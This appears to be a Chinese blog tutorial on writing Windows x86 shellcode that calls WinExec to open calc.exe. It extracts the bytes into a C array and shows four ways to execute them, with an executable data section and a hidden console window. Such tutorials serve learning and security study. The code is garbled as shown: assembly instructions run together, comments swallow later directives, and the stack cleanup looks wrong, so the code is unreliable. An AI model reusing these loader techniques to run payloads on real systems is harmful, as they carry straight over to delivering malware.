首先写出汇编成功弹出计算器
#pragma comment(linker,"/section:.data,RWE") //data段可读写#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口#pragma comment(linker,"/INCREMENTAL:NO") //指定非增量编译
#include "windows.h"
void main()
{__asm{sub esp,0x454xor ebx,ebxpush ebxmov eax,0x6578652epush eaxmov eax,0x636c6163push eaxmov eax,esppush 5push eaxmov eax,0x74f0dab0call eaxmov esp,0x450}}
下面这两条语句时和call dword ptr [WinExec]
功能相同,可以利用这条语句找出自己机子上WinExec地址,然后将0x74f0dab0替换成自己机子上的地址
mov eax,0x74f0dab0call eax
提取汇编的机器码
unsigned char shellcode[]="\x81\xEC\x54\x04\x00\x00\x33\xDB\x53\xB8\x2E\x65\x78\x65\x50"
"\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50"
"\xB8\xB0\xDA\xF0\x74\xFF\xD0"
"\xBC\x50\x04\x00\x00";
接下来就是如何执行shellcode了
0x01
将shellcode硬改成函数名,然后shellcode的内容相当于函数体
void Run1()
{((void(*)(void))&shellcode)();
}
0x02
取shellcode的偏移地址,然后到shellcode处执行
//第2种方法
void Run2()
{__asm{lea eax,shellcodejmp eax}
}
0x03
和0x02方法相同,写法不一样
//第3种方法void Run3()
{__asm{mov eax,offset shellcodejmp eax}
}
0x04
用emit在当前位置直接插入数据(实际上是指令),硬编码执行
//第四种方法
void Run4()
{__asm{mov eax,offset shellcode_emit 0xff; _emit 0xe0;}}
调试
#pragma comment(linker,"/section:.data,RWE") //data段可读写#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口#pragma comment(linker,"/INCREMENTAL:NO") //指定非增量编译
#include "windows.h"
unsigned char shellcode[]="\x81\xEC\x54\x04\x00\x00\x33\xDB\x53\xB8\x2E\x65\x78\x65\x50"
"\xB8\x63\x61\x6C\x63\x50\x8B\xC4\x6A\x05\x50"
"\xB8\xB0\xDA\xF0\x74\xFF\xD0"
"\xBC\x50\x04\x00\x00";//第一种方法
void Run1()
{((void(*)(void))&shellcode)();
}//第2种方法
void Run2()
{__asm{lea eax,shellcodejmp eax}
}//第3种方法void Run3()
{__asm{mov eax,offset shellcodejmp eax}
}//第四种方法
void Run4()
{__asm{mov eax,offset shellcode_emit 0xff; //用emigt就是在当前位置直接插入数据(实际上是指令),硬编码执行_emit 0xe0;}}void main()
{/* __asm{sub esp,0x454xor ebx,ebxpush ebxmov eax,0x6578652epush eaxmov eax,0x636c6163push eaxmov eax,esppush 5push eaxmov eax,0x74f0dab0call eaxmov esp,0x450}*/Run1();
}
其他三种方法我都调试了都可以弹出计算器